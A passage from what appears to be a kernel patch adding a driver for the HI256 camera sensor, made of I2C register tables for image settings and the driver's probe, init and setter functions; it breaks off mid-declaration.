{0x38, 0x58}, + {0x39, 0x09}, + {0x3a, 0x06}, + {0x3b, 0x03}, + {0x3c, 0x80}, + {0x3d, 0x18}, + {0x3e, 0x80}, + {0x3f, 0x0c}, + {0x40, 0x05}, + {0x41, 0x06}, + {0x42, 0x80}, + {0x43, 0x18}, + {0x44, 0x80}, + {0x45, 0x0c}, + {0x46, 0x05}, + {0x47, 0x06}, + {0x48, 0x90}, + {0x49, 0x40}, + {0x4a, 0x80}, + {0x4b, 0x13}, + {0x4c, 0x10}, + {0x4d, 0x11}, + {0x4e, 0x80}, + {0x4f, 0x30}, + {0x50, 0x80}, + {0x51, 0x13}, + {0x52, 0x10}, + {0x53, 0x13}, + {0x54, 0x11}, + {0x55, 0x17}, + {0x56, 0x20}, + {0x57, 0x01}, + {0x58, 0x00}, + {0x59, 0x00}, + {0x5a, 0x18}, + {0x5b, 0x00}, + {0x5c, 0x00}, + {0x60, 0x3f}, + {0x62, 0x60}, + {0x70, 0x06}, + {0x03, 0x12}, + {0x20, 0x00}, + {0x21, 0x00}, + {0x25, 0x00}, + {0x28, 0x00}, + {0x29, 0x00}, + {0x2a, 0x00}, + {0x30, 0x50}, + {0x31, 0x18}, + {0x32, 0x32}, + {0x33, 0x40}, + {0x34, 0x50}, + {0x35, 0x70}, + {0x36, 0xa0}, + {0x40, 0xa0}, + {0x41, 0x40}, + {0x42, 0xa0}, + {0x43, 0x90}, + {0x44, 0x90}, + {0x45, 0x80}, + {0x46, 0xb0}, + {0x47, 0x55}, + {0x48, 0xa0}, + {0x49, 0x90}, + {0x4a, 0x90}, + {0x4b, 0x80}, + {0x4c, 0xb0}, + {0x4d, 0x40}, + {0x4e, 0x90}, + {0x4f, 0x60}, + {0x50, 0xa0}, + {0x51, 0x80}, + {0x52, 0xb0}, + {0x53, 0x40}, + {0x54, 0x90}, + {0x55, 0x60}, + {0x56, 0xa0}, + {0x57, 0x80}, + {0x58, 0x90}, + {0x59, 0x40}, + {0x5a, 0xd0}, + {0x5b, 0xd0}, + {0x5c, 0xe0}, + {0x5d, 0x80}, + {0x5e, 0x88}, + {0x5f, 0x40}, + {0x60, 0xe0}, + {0x61, 0xe0}, + {0x62, 0xe0}, + {0x63, 0x80}, + {0x70, 0x15}, + {0x71, 0x01}, + {0x72, 0x18}, + {0x73, 0x01}, + {0x74, 0x25}, + {0x75, 0x15}, + {0x80, 0x20}, + {0x81, 0x40}, + {0x82, 0x65}, + {0x85, 0x1a}, + {0x88, 0x00}, + {0x89, 0x00}, + {0x90, 0x5d}, + {0xD0, 0x0c}, + {0xD1, 0x80}, + {0xD2, 0x17}, + {0xD3, 0x00}, + {0xD4, 0x00}, + {0xD5, 0x0f}, + {0xD6, 0xff}, + {0xD7, 0xff}, + {0x3b, 0x06}, + {0x3c, 0x06}, + {0xc5, 0x00}, + {0xc6, 0x00}, + {0x03, 0x13}, + {0x10, 0xcb}, + {0x11, 0x7b}, + {0x12, 0x07}, + {0x14, 0x00}, + {0x20, 0x15}, + {0x21, 0x13}, + {0x22, 0x33}, + {0x23, 0x05}, + {0x24, 0x09}, + {0x25, 0x0a}, + {0x26, 0x18}, + {0x27, 0x30}, + {0x29, 0x12}, + {0x2a, 0x50}, + {0x2b, 0x02}, + {0x2c, 0x02}, + {0x25, 0x06}, + {0x2d, 0x0c}, + {0x2e, 0x12}, + {0x2f, 0x12}, + {0x50, 0x10}, + {0x51, 0x14}, + {0x52, 0x12}, + {0x53, 0x0c}, + {0x54, 0x0f}, + {0x55, 0x0c}, + {0x56, 0x10}, + {0x57, 0x13}, + {0x58, 0x12}, + {0x59, 0x0c}, + {0x5a, 0x0f}, + {0x5b, 0x0c}, + {0x5c, 0x25}, + {0x5d, 0x25}, + {0x5e, 0x25}, + {0x5f, 0x25}, + {0x60, 0x25}, + {0x61, 0x25}, + {0x62, 0x25}, + {0x63, 0x25}, + {0x64, 0x25}, + {0x65, 0x25}, + {0x66, 0x25}, + {0x67, 0x25}, + {0x68, 0x07}, + {0x69, 0x07}, + {0x6a, 0x07}, + {0x6b, 0x05}, + {0x6c, 0x05}, + {0x6d, 0x05}, + {0x6e, 0x07}, + {0x6f, 0x07}, + {0x70, 0x07}, + {0x71, 0x05}, + {0x72, 0x05}, + {0x73, 0x05}, + {0x80, 0x01}, + {0x81, 0x1f}, + {0x82, 0x05}, + {0x83, 0x31}, + {0x90, 0x05}, + {0x91, 0x05}, + {0x92, 0x33}, + {0x93, 0x30}, + {0x94, 0x03}, + {0x95, 0x14}, + {0x97, 0x20}, + {0x99, 0x20}, + {0xa0, 0x01}, + {0xa1, 0x02}, + {0xa2, 0x01}, + {0xa3, 0x02}, + {0xa4, 0x05}, + {0xa5, 0x05}, + {0xa6, 0x07}, + {0xa7, 0x08}, + {0xa8, 0x07}, + {0xa9, 0x08}, + {0xaa, 0x07}, + {0xab, 0x08}, + {0xb0, 0x22}, + {0xb1, 0x2a}, + {0xb2, 0x28}, + {0xb3, 0x22}, + {0xb4, 0x2a}, + {0xb5, 0x28}, + {0xb6, 0x22}, + {0xb7, 0x2a}, + {0xb8, 0x28}, + {0xb9, 0x22}, + {0xba, 0x2a}, + {0xbb, 0x28}, + {0xbc, 0x25}, + {0xbd, 0x2a}, + {0xbe, 0x27}, + {0xbf, 0x25}, + {0xc0, 0x2a}, + {0xc1, 0x27}, + {0xc2, 0x1e}, + {0xc3, 0x24}, + {0xc4, 0x20}, + {0xc5, 0x1e}, + {0xc6, 0x24}, + {0xc7, 0x20}, + {0xc8, 0x18}, + {0xc9, 0x20}, + {0xca, 0x1e}, + {0xcb, 0x18}, + {0xcc, 0x20}, + {0xcd, 0x1e}, + {0xce, 0x18}, + {0xcf, 0x20}, + {0xd0, 0x1e}, + {0xd1, 0x18}, + {0xd2, 0x20}, + {0xd3, 0x1e}, + {0x03, 0x14}, + {0x10, 0x11}, + {0x14, 0x80}, + {0x15, 0x80}, + {0x16, 0x80}, + {0x17, 0x80}, + {0x18, 0x80}, + {0x19, 0x80}, + {0x20, 0x80}, + {0x21, 0x80}, + {0x22, 0x80}, + {0x23, 0x80}, + {0x24, 0x80}, + {0x30, 0xc8}, + {0x31, 0x2b}, + {0x32, 0x00}, + {0x33, 0x00}, + {0x34, 0x90}, + {0x40, 0x32}, + {0x50, 0x21}, + {0x60, 0x19}, + {0x70, 0x21}, + {0x03, 0x15}, + {0x10, 0x0f}, + {0x14, 0x46}, + {0x15, 0x36}, + {0x16, 0x26}, + {0x17, 0x2f}, + {0x30, 0x8f}, + {0x31, 0x59}, + {0x32, 0x0a}, + {0x33, 0x15}, + {0x34, 0x5b}, + {0x35, 0x06}, + {0x36, 0x07}, + {0x37, 0x40}, + {0x38, 0x87}, + {0x40, 0x94}, + {0x41, 0x20}, + {0x42, 0x89}, + {0x43, 0x84}, + {0x44, 0x03}, + {0x45, 0x01}, + {0x46, 0x88}, + {0x47, 0x9c}, + {0x48, 0x28}, + {0x50, 0x02}, + {0x51, 0x82}, + {0x52, 0x00}, + {0x53, 0x07}, + {0x54, 0x11}, + {0x55, 0x98}, + {0x56, 0x00}, + {0x57, 0x0b}, + {0x58, 0x8b}, + {0x80, 0x03}, + {0x85, 0x40}, + {0x87, 0x02}, + {0x88, 0x00}, + {0x89, 0x00}, + {0x8a, 0x00}, + {0x03, 0x16}, + {0x10, 0x31}, + {0x18, 0x5e}, + {0x19, 0x5d}, + {0x1a, 0x0e}, + {0x1b, 0x01}, + {0x1c, 0xdc}, + {0x1d, 0xfe}, + {0x30, 0x00}, + {0x31, 0x0a}, + {0x32, 0x1f}, + {0x33, 0x33}, + {0x34, 0x53}, + {0x35, 0x6c}, + {0x36, 0x81}, + {0x37, 0x94}, + {0x38, 0xa4}, + {0x39, 0xb3}, + {0x3a, 0xc0}, + {0x3b, 0xcb}, + {0x3c, 0xd5}, + {0x3d, 0xde}, + {0x3e, 0xe6}, + {0x3f, 0xee}, + {0x40, 0xf5}, + {0x41, 0xfc}, + {0x42, 0xff}, + {0x50, 0x00}, + {0x51, 0x08}, + {0x52, 0x1e}, + {0x53, 0x36}, + {0x54, 0x5a}, + {0x55, 0x75}, + {0x56, 0x8d}, + {0x57, 0xa1}, + {0x58, 0xb2}, + {0x59, 0xbe}, + {0x5a, 0xc9}, + {0x5b, 0xd2}, + {0x5c, 0xdb}, + {0x5d, 0xe3}, + {0x5e, 0xeb}, + {0x5f, 0xf0}, + {0x60, 0xf5}, + {0x61, 0xf7}, + {0x62, 0xf8}, + {0x70, 0x00}, + {0x71, 0x08}, + {0x72, 0x17}, + {0x73, 0x2f}, + {0x74, 0x53}, + {0x75, 0x6c}, + {0x76, 0x81}, + {0x77, 0x94}, + {0x78, 0xa4}, + {0x79, 0xb3}, + {0x7a, 0xc0}, + {0x7b, 0xcb}, + {0x7c, 0xd5}, + {0x7d, 0xde}, + {0x7e, 0xe6}, + {0x7f, 0xee}, + {0x80, 0xf4}, + {0x81, 0xfa}, + {0x82, 0xff}, + {0x03, 0x17}, + {0x10, 0xf7}, + {0xC4, 0x66}, + {0xC5, 0x55}, + {0x03, 0x20}, + {0x11, 0x1c}, + {0x18, 0x30}, + {0x1a, 0x08}, + {0x20, 0x05}, + {0x21, 0x30}, + {0x22, 0x10}, + {0x23, 0x00}, + {0x24, 0x00}, + {0x28, 0xe7}, + {0x29, 0x0d}, + {0x2a, 0xf0}, + {0x2b, 0x34}, + {0x30, 0x78}, + {0x2c, 0xc2}, + {0x2d, 0xff}, + {0x2e, 0x33}, + {0x30, 0x78}, + {0x32, 0x03}, + {0x33, 0x2e}, + {0x34, 0x30}, + {0x35, 0xd4}, + {0x36, 0xfe}, + {0x37, 0x32}, + {0x38, 0x04}, + {0x39, 0x22}, + {0x3a, 0xde}, + {0x3b, 0x22}, + {0x3c, 0xde}, + {0x50, 0x45}, + {0x51, 0x88}, + {0x56, 0x03}, + {0x57, 0xf7}, + {0x58, 0x14}, + {0x59, 0x88}, + {0x5a, 0x04}, + {0x60, 0xaa}, + {0x61, 0xaa}, + {0x62, 0xaa}, + {0x63, 0xaa}, + {0x64, 0xaa}, + {0x65, 0xaa}, + {0x66, 0xab}, + {0x67, 0xEa}, + {0x68, 0xab}, + {0x69, 0xEa}, + {0x6a, 0xaa}, + {0x6b, 0xaa}, + {0x6c, 0xaa}, + {0x6d, 0xaa}, + {0x6e, 0xaa}, + {0x6f, 0xaa}, + {0x70, 0x76}, + {0x71, 0x80}, + {0x76, 0x43}, + {0x77, 0x04}, + {0x78, 0x23}, + {0x79, 0x46}, + {0x7a, 0x23}, + {0x7b, 0x22}, + {0x7d, 0x23}, + {0x83, 0x01}, + {0x84, 0x5f}, + {0x85, 0x90}, + {0x86, 0x01}, + {0x87, 0x2c}, + {0x88, 0x05}, + {0x89, 0x7e}, + {0x8a, 0x40}, + {0x8B, 0x75}, + {0x8C, 0x30}, + {0x8D, 0x61}, + {0x8E, 0x44}, + {0x9c, 0x08}, + {0x9d, 0x34}, + {0x9e, 0x01}, + {0x9f, 0x2c}, + {0xb0, 0x18}, + {0xb1, 0x14}, + {0xb2, 0x80}, + {0xb3, 0x18}, + {0xb4, 0x1a}, + {0xb5, 0x44}, + {0xb6, 0x2f}, + {0xb7, 0x28}, + {0xb8, 0x25}, + {0xb9, 0x22}, + {0xba, 0x21}, + {0xbb, 0x20}, + {0xbc, 0x32}, + {0xbd, 0x30}, + {0xc0, 0x10}, + {0xc1, 0x2b}, + {0xc2, 0x2b}, + {0xc3, 0x2b}, + {0xc4, 0x08}, + {0xc8, 0x40}, + {0xc9, 0x40}, + {0x03, 0x22}, + {0x10, 0xfd}, + {0x11, 0x2e}, + {0x19, 0x01}, + {0x20, 0x10}, + {0x21, 0x80}, + {0x24, 0x01}, + {0x30, 0x80}, + {0x31, 0x80}, + {0x38, 0x11}, + {0x39, 0x34}, + {0x40, 0xfa}, + {0x41, 0x44}, + {0x42, 0x43}, + {0x43, 0xf6}, + {0x44, 0x44}, + {0x45, 0x33}, + {0x46, 0x00}, + {0x50, 0xb2}, + {0x51, 0x81}, + {0x52, 0x98}, + {0x80, 0x38}, + {0x81, 0x20}, + {0x82, 0x38}, + {0x83, 0x5e}, + {0x84, 0x18}, + {0x85, 0x58}, + {0x86, 0x20}, + {0x87, 0x49}, + {0x88, 0x33}, + {0x89, 0x37}, + {0x8a, 0x2a}, + {0x8b, 0x41}, + {0x8c, 0x39}, + {0x8d, 0x34}, + {0x8e, 0x29}, + {0x8f, 0x53}, + {0x90, 0x52}, + {0x91, 0x51}, + {0x92, 0x4e}, + {0x93, 0x46}, + {0x94, 0x3d}, + {0x95, 0x34}, + {0x96, 0x2e}, + {0x97, 0x29}, + {0x98, 0x22}, + {0x99, 0x1c}, + {0x9a, 0x18}, + {0x9b, 0x77}, + {0x9c, 0x77}, + {0x9d, 0x48}, + {0x9e, 0x38}, + {0x9f, 0x30}, + {0xa0, 0x60}, + {0xa1, 0x34}, + {0xa2, 0x6f}, + {0xa3, 0xff}, + {0xa4, 0x14}, + {0xa5, 0x2c}, + {0xa6, 0xcf}, + {0xad, 0x40}, + {0xae, 0x4a}, + {0xaf, 0x28}, + {0xb0, 0x26}, + {0xb1, 0x00}, + {0xb4, 0xea}, + {0xb8, 0xa0}, + {0xb9, 0x00}, + {0x03, 0x48}, + {0x70, 0x03}, + {0x71, 0x30}, + {0x72, 0x81}, + {0x73, 0x10}, + {0x70, 0x85}, + {0x03, 0x48}, + {0x03, 0x48}, + {0x03, 0x48}, + {0x03, 0x48}, + {0x70, 0x95}, + {0x10, 0x1c}, + {0x11, 0x10}, + {0x12, 0x00}, + {0x14, 0x00}, + {0x16, 0x04}, + {0x18, 0x80}, + {0x19, 0x00}, + {0x1a, 0xa0}, + {0x1b, 0x0d}, + {0x1c, 0x01}, + {0x1d, 0x0a}, + {0x1e, 0x07}, + {0x1f, 0x0b}, + {0x23, 0x01}, + {0x24, 0x1e}, + {0x25, 0x00}, + {0x26, 0x00}, + {0x27, 0x08}, + {0x28, 0x00}, + {0x30, 0x06}, + {0x31, 0x40}, + {0x32, 0x13}, + {0x33, 0x0c}, + {0x34, 0x04}, + {0x35, 0x06}, + {0x36, 0x01}, + {0x37, 0x06}, + {0x39, 0x4f}, + {0x03, 0x20}, + {0x10, 0x9c}, + {0x03, 0x22}, + {0x10, 0xe9}, + {0x03, 0x00}, + {0x03, 0x00}, + {0x03, 0x00}, + {0x03, 0x00}, + {0x03, 0x00}, + {0x03, 0x00}, + {0x03, 0x00}, + {0x03, 0x00}, + {0x03, 0x00}, + {0x03, 0x00}, + {0x03, 0x00}, + {0x0e, 0x03}, + {0x0e, 0x73}, + {0x03, 0x00}, + {0x01, 0xf0}, +}; + +static struct v4l2_subdev_info hi256_subdev_info[] = { + { + .code = V4L2_MBUS_FMT_YUYV8_2X8, + .colorspace = V4L2_COLORSPACE_JPEG, + .fmt = 1, + .order = 0, + }, +}; + +static struct msm_camera_i2c_reg_conf hi256_svga_settings[] = { + {0x03, 0x20}, + {0x10, 0x1c}, + {0x03, 0x22}, + {0x10, 0x69}, + {0x03, 0x00}, + {0x10, 0x13}, + {0x12, 0x00}, + {0x20, 0x00}, + {0x21, 0x04}, + {0x22, 0x00}, + {0x23, 0x07}, + {0x40, 0x01}, + {0x41, 0x78}, + {0x42, 0x00}, + {0x43, 0x14}, + {0x03, 0x10}, + {0x3f, 0x02}, + {0x03, 0x12}, + {0x20, 0x0f}, + {0x21, 0x0f}, + {0x90, 0x5d}, + {0x03, 0x13}, + {0x80, 0x00}, + {0x03, 0x48}, + {0x72, 0x81}, + {0x30, 0x06}, + {0x31, 0x40}, + {0x03, 0x20}, + {0x88, 0x01}, + {0x89, 0x5f}, + {0x8a, 0x90}, + {0x03, 0x20}, + {0x10, 0x9c}, + {0x03, 0x22}, + {0x10, 0xe9}, +}; + +static struct msm_camera_i2c_reg_conf hi256_sleep_settings[] = { + + {0x03, 0x00}, + {0x01, 0xf1}, + {0x03, 0x02}, + {0x55, 0x10}, + + {0x01, 0xf1}, + {0x01, 0xf3}, + {0x01, 0xf1}, + +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_saturation[11][3] = { + { + {0x03, 0x10}, + {0x61, 0x1c}, + {0x62, 0x1c}, + }, + { + {0x03, 0x10}, + {0x61, 0x30}, + {0x62, 0x30}, + }, + { + {0x03, 0x10}, + {0x61, 0x44}, + {0x62, 0x44}, + }, + { + {0x03, 0x10}, + {0x61, 0x58}, + {0x62, 0x58}, + }, + { + {0x03, 0x10}, + {0x61, 0x6c}, + {0x62, 0x6c}, + }, + { + {0x03, 0x10}, + {0x61, 0x80}, + {0x62, 0x80}, + }, + { + {0x03, 0x10}, + {0x61, 0x94}, + {0x62, 0x94}, + }, + { + {0x03, 0x10}, + {0x61, 0xa8}, + {0x62, 0xa8}, + }, + { + {0x03, 0x10}, + {0x61, 0xbc}, + {0x62, 0xbc}, + }, + { + {0x03, 0x10}, + {0x61, 0xd0}, + {0x62, 0xd0}, + }, + { + {0x03, 0x10}, + {0x61, 0xe4}, + {0x62, 0xe4}, + }, +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_contrast[11][3] = { + { + {0x03, 0x10}, + {0x13, 0x02}, + {0x48, 0x1c}, + }, + { + {0x03, 0x10}, + {0x13, 0x02}, + {0x48, 0x30}, + }, + { + {0x03, 0x10}, + {0x13, 0x02}, + {0x48, 0x44}, + }, + { + {0x03, 0x10}, + {0x13, 0x02}, + {0x48, 0x58}, + }, + { + {0x03, 0x10}, + {0x13, 0x02}, + {0x48, 0x6c}, + }, + { + {0x03, 0x10}, + {0x13, 0x02}, + {0x48, 0x80}, + }, + { + {0x03, 0x10}, + {0x13, 0x02}, + {0x48, 0x94}, + }, + { + {0x03, 0x10}, + {0x13, 0x02}, + {0x48, 0xa8}, + }, + { + {0x03, 0x10}, + {0x13, 0x02}, + {0x48, 0xbc}, + }, + { + {0x03, 0x10}, + {0x13, 0x02}, + {0x48, 0xd0}, + }, + { + {0x03, 0x10}, + {0x13, 0x02}, + {0x48, 0xe4}, + }, +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_sharpness[7][9] = { + { + {0x03, 0x13}, + {0x20, 0x00}, + {0x21, 0x00}, + {0x23, 0x04}, + {0x24, 0x80}, + {0x90, 0x00}, + {0x91, 0x00}, + {0x94, 0x24}, + {0x95, 0x65}, + }, /* SHARPNESS LEVEL 0*/ + { + {0x03, 0x13}, + {0x20, 0x04}, + {0x21, 0x03}, + {0x23, 0x04}, + {0x24, 0x80}, + {0x90, 0x08}, + {0x91, 0x08}, + {0x94, 0x24}, + {0x95, 0x65}, + }, /* SHARPNESS LEVEL 1*/ + { + {0x03, 0x13}, + {0x20, 0x08}, + {0x21, 0x07}, + {0x23, 0x04}, + {0x24, 0x80}, + {0x90, 0x32}, + {0x91, 0x32}, + {0x94, 0x04}, + {0x95, 0x0a}, + }, /* SHARPNESS LEVEL 2*/ + { + {0x03, 0x13}, + {0x20, 0x15}, + {0x21, 0x15}, + {0x23, 0x09}, + {0x24, 0x11}, + {0x90, 0x05}, + {0x91, 0x05}, + {0x94, 0x10}, + {0x95, 0x5a}, + }, /* SHARPNESS LEVEL 3*/ + { + {0x03, 0x13}, + {0x20, 0x15}, + {0x21, 0x15}, + {0x23, 0x04}, + {0x24, 0x80}, + {0x90, 0xaf}, + {0x91, 0xaf}, + {0x94, 0x24}, + {0x95, 0x65}, + }, /* SHARPNESS LEVEL 4*/ + { + {0x03, 0x13}, + {0x20, 0x20}, + {0x21, 0x20}, + {0x23, 0x04}, + {0x24, 0x80}, + {0x90, 0xdf}, + {0x91, 0xdf}, + {0x94, 0x24}, + {0x95, 0x65}, + }, /* SHARPNESS LEVEL 5*/ + { + {0x03, 0x13}, + {0x20, 0x25}, + {0x21, 0x25}, + {0x23, 0x04}, + {0x24, 0x80}, + {0x90, 0xff}, + {0x91, 0xff}, + {0x94, 0x24}, + {0x95, 0x65}, + }, /* SHARPNESS LEVEL 6*/ +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_iso[7][3] = { + /* auto */ + { + {0x03, 0x20}, + {0x10, 0x9c}, + {0xb0, 0x18}, + }, + /* auto hjt */ + { + {0x03, 0x20}, + {0x10, 0x9c}, + {0xb0, 0x18}, + }, + /* iso 100 */ + { + {0x03, 0x20}, + {0x10, 0x0c}, + {0xb0, 0x1B}, + }, + /* iso 200 */ + { + {0x03, 0x20}, + {0x10, 0x0c}, + {0xb0, 0x35}, + }, + /* iso 400 */ + { + {0x03, 0x20}, + {0x10, 0x0c}, + {0xb0, 0x65}, + }, + /* iso 800 */ + { + {0x03, 0x20}, + {0x10, 0x0c}, + {0xb0, 0x95}, + }, + /* iso 1600 */ + { + {0x03, 0x20}, + {0x10, 0x0c}, + {0xb0, 0xd0}, + }, +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_exposure_compensation[5][2] = { + /* -2 */ + { + {0x03, 0x10}, + {0x40, 0xa4}, + }, + /* -1 */ + { + {0x03, 0x10}, + {0x40, 0x94}, + }, + /* 0 */ + { + {0x03, 0x10}, + {0x40, 0x80}, + }, + /* 1 */ + { + {0x03, 0x10}, + {0x40, 0x14}, + }, + /* 2 */ + { + {0x03, 0x10}, + {0x40, 0x24}, + }, +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_antibanding[][2] = { + /* OFF */ + { + {0x03, 0x20}, + {0x10, 0xcc}, + }, + /* 50Hz */ + { + {0x03, 0x20}, + {0x10, 0x9c}, + }, + /* 60Hz */ + { + {0x03, 0x20}, + {0x10, 0x8c}, + }, + /* AUTO */ + { + {0x03, 0x20}, + {0x10, 0xcc}, + }, +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_effect_normal[] = { + /* normal: */ + {0x03, 0x20}, + {0x28, 0xe7}, + {0x03, 0x10}, + {0x11, 0x03}, + {0x12, 0X30}, + {0x13, 0x0a}, + {0x44, 0x80}, + {0x45, 0x80}, +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_effect_black_white[] = { + /* B&W: */ + {0x03, 0x20}, + {0x28, 0xe7}, + {0x03, 0x10}, + {0x11, 0x03}, + {0x12, 0x33}, + {0x13, 0x02}, + {0x44, 0x80}, + {0x45, 0x80}, +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_effect_negative[] = { + /* Negative: */ + {0x03, 0x20}, + {0x28, 0xe7}, + {0x03, 0x10}, + {0x11, 0x03}, + {0x12, 0x08}, + {0x13, 0x0a}, + {0x14, 0x00}, +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_effect_old_movie[] = { + /* Sepia(antique): */ + {0x03, 0x20}, + {0x28, 0xe7}, + {0x03, 0x10}, + {0x11, 0x03}, + {0x12, 0x33}, + {0x13, 0x0a}, + {0x44, 0x25}, + {0x45, 0xa6}, +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_effect_solarize[] = { + {0x03, 0x20}, + {0x28, 0xe7}, + {0x03, 0x10}, + {0x11, 0x0b}, + {0x12, 0x00}, + {0x13, 0x00}, + {0x14, 0x00}, +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_scene_auto[] = { + /* */ + {0x03, 0x20}, + {0x10, 0x1c}, + {0x18, 0x38}, + {0x88, 0x05}, + {0x89, 0x7e}, + {0x8a, 0x40}, + {0x10, 0x9c}, + {0x18, 0x30}, +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_scene_portrait[] = { + /* */ + {0x03, 0x20}, + {0x10, 0x1c}, + {0x18, 0x38}, + {0x88, 0x05}, + {0x89, 0x7e}, + {0x8a, 0x40}, + {0x10, 0x9c}, + {0x18, 0x30}, +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_scene_landscape[] = { + /* */ + {0x03, 0x20}, + {0x10, 0x1c}, + {0x18, 0x38}, + {0x88, 0x05}, + {0x89, 0x7e}, + {0x8a, 0x40}, + {0x10, 0x9c}, + {0x18, 0x30}, +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_scene_night[] = { + /* */ + {0x03, 0x20}, + {0x10, 0x1c}, + {0x18, 0x38}, + {0x88, 0x09}, + {0x89, 0x27}, + {0x8a, 0xc0}, + {0x10, 0x9c}, + {0x18, 0x30}, +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_wb_auto[] = { + /* Auto: */ + {0x03, 0x22}, + {0x11, 0x2e}, + {0x83, 0x60}, + {0x84, 0x0a}, + {0x85, 0x60}, + {0x86, 0x15}, + {0x10, 0xfd}, +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_wb_sunny[] = { + /* Sunny: */ + {0x03, 0x22}, + {0x11, 0x28}, + {0x80, 0x33}, + {0x82, 0x3d}, + {0x83, 0x2e}, + {0x84, 0x24}, + {0x85, 0x43}, + {0x86, 0x3d}, +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_wb_cloudy[] = { + /* Cloudy: */ + {0x03, 0x22}, + {0x11, 0x28}, + {0x80, 0x49}, + {0x82, 0x24}, + {0x83, 0x50}, + {0x84, 0x45}, + {0x85, 0x24}, + {0x86, 0x1E}, +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_wb_office[] = { + /* Office: */ + {0x03, 0x22}, + {0x11, 0x28}, + {0x80, 0x20}, + {0x82, 0x58}, + {0x83, 0x27}, + {0x84, 0x22}, + {0x85, 0x58}, + {0x86, 0x52}, +}; + +static struct msm_camera_i2c_reg_conf HI256_reg_wb_home[] = { + /* Home: */ + {0x03, 0x22}, + {0x11, 0x28}, + {0x80, 0x29}, + {0x82, 0x54}, + {0x83, 0x2e}, + {0x84, 0x23}, + {0x85, 0x58}, + {0x86, 0x4f}, +}; + + +static const struct i2c_device_id hi256_i2c_id[] = { + {HI256_SENSOR_NAME, (kernel_ulong_t)&hi256_s_ctrl}, + { } +}; + +static int32_t msm_hi256_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + return msm_sensor_i2c_probe(client, id, &hi256_s_ctrl); +} + +static struct i2c_driver hi256_i2c_driver = { + .id_table = hi256_i2c_id, + .probe = msm_hi256_i2c_probe, + .driver = { + .name = HI256_SENSOR_NAME, + }, +}; + +static struct msm_camera_i2c_client hi256_sensor_i2c_client = { + .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, +}; + +static const struct of_device_id hi256_dt_match[] = { + {.compatible = "shinetech,hi256", .data = &hi256_s_ctrl}, + {} +}; + +MODULE_DEVICE_TABLE(of, hi256_dt_match); + +static struct platform_driver hi256_platform_driver = { + .driver = { + .name = "shinetech,hi256", + .owner = THIS_MODULE, + .of_match_table = hi256_dt_match, + }, +}; + +static void hi256_i2c_write_table(struct msm_sensor_ctrl_t *s_ctrl, + struct msm_camera_i2c_reg_conf *table, + int num) +{ + int i = 0; + int rc = 0; + for (i = 0; i < num; ++i) { + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write( + s_ctrl->sensor_i2c_client, table->reg_addr, + table->reg_data, + MSM_CAMERA_I2C_BYTE_DATA); + if (rc < 0) { + msleep(100); + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write( + s_ctrl->sensor_i2c_client, table->reg_addr, + table->reg_data, + MSM_CAMERA_I2C_BYTE_DATA); + } + table++; + } +} + +static int32_t hi256_sensor_power_down(struct msm_sensor_ctrl_t *s_ctrl) +{ + hi256_i2c_write_table(s_ctrl, &hi256_sleep_settings[0], + ARRAY_SIZE(hi256_sleep_settings)); + return msm_sensor_power_down(s_ctrl); +} + +static int32_t hi256_platform_probe(struct platform_device *pdev) +{ + int32_t rc; + const struct of_device_id *match; + match = of_match_device(hi256_dt_match, &pdev->dev); + rc = msm_sensor_platform_probe(pdev, match->data); + return rc; +} + +static int __init hi256_init_module(void) +{ + int32_t rc; + pr_info("%s:%d\n", __func__, __LINE__); + rc = platform_driver_probe(&hi256_platform_driver, + hi256_platform_probe); + if (!rc) + return rc; + return i2c_add_driver(&hi256_i2c_driver); +} + +static void __exit hi256_exit_module(void) +{ + pr_info("%s:%d\n", __func__, __LINE__); + if (hi256_s_ctrl.pdev) { + msm_sensor_free_sensor_data(&hi256_s_ctrl); + platform_driver_unregister(&hi256_platform_driver); + } else + i2c_del_driver(&hi256_i2c_driver); + return; +} + +static int32_t hi256_sensor_match_id(struct msm_sensor_ctrl_t *s_ctrl) +{ + int32_t rc = 0; + uint16_t chipid = 0; + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_read( + s_ctrl->sensor_i2c_client, + s_ctrl->sensordata->slave_info->sensor_id_reg_addr, + &chipid, MSM_CAMERA_I2C_BYTE_DATA); + if (rc < 0) { + pr_err("%s: %s: hi256 read id failed\n", __func__, + s_ctrl->sensordata->sensor_name); + return rc; + } + + CDBG("%s: read id: 0x%x expected id 0x%x:\n", __func__, chipid, + s_ctrl->sensordata->slave_info->sensor_id); + if (chipid != s_ctrl->sensordata->slave_info->sensor_id) { + pr_err("msm_sensor_match_id chip id doesnot match\n"); + return -ENODEV; + } + return rc; +} + +static void hi256_set_stauration(struct msm_sensor_ctrl_t *s_ctrl, int value) +{ + pr_debug("%s %d", __func__, value); + hi256_i2c_write_table(s_ctrl, &HI256_reg_saturation[value][0], + ARRAY_SIZE(HI256_reg_saturation[value])); +} + +static void hi256_set_contrast(struct msm_sensor_ctrl_t *s_ctrl, int value) +{ + pr_debug("%s %d", __func__, value); + hi256_i2c_write_table(s_ctrl, &HI256_reg_contrast[value][0], + ARRAY_SIZE(HI256_reg_contrast[value])); +} + +static void hi256_set_sharpness(struct msm_sensor_ctrl_t *s_ctrl, int value) +{ + int val = value / 6; + pr_debug("%s %d", __func__, value); + hi256_i2c_write_table(s_ctrl, &HI256_reg_sharpness[val][0], + ARRAY_SIZE(HI256_reg_sharpness[val])); +} + + +static void hi256_set_iso(struct 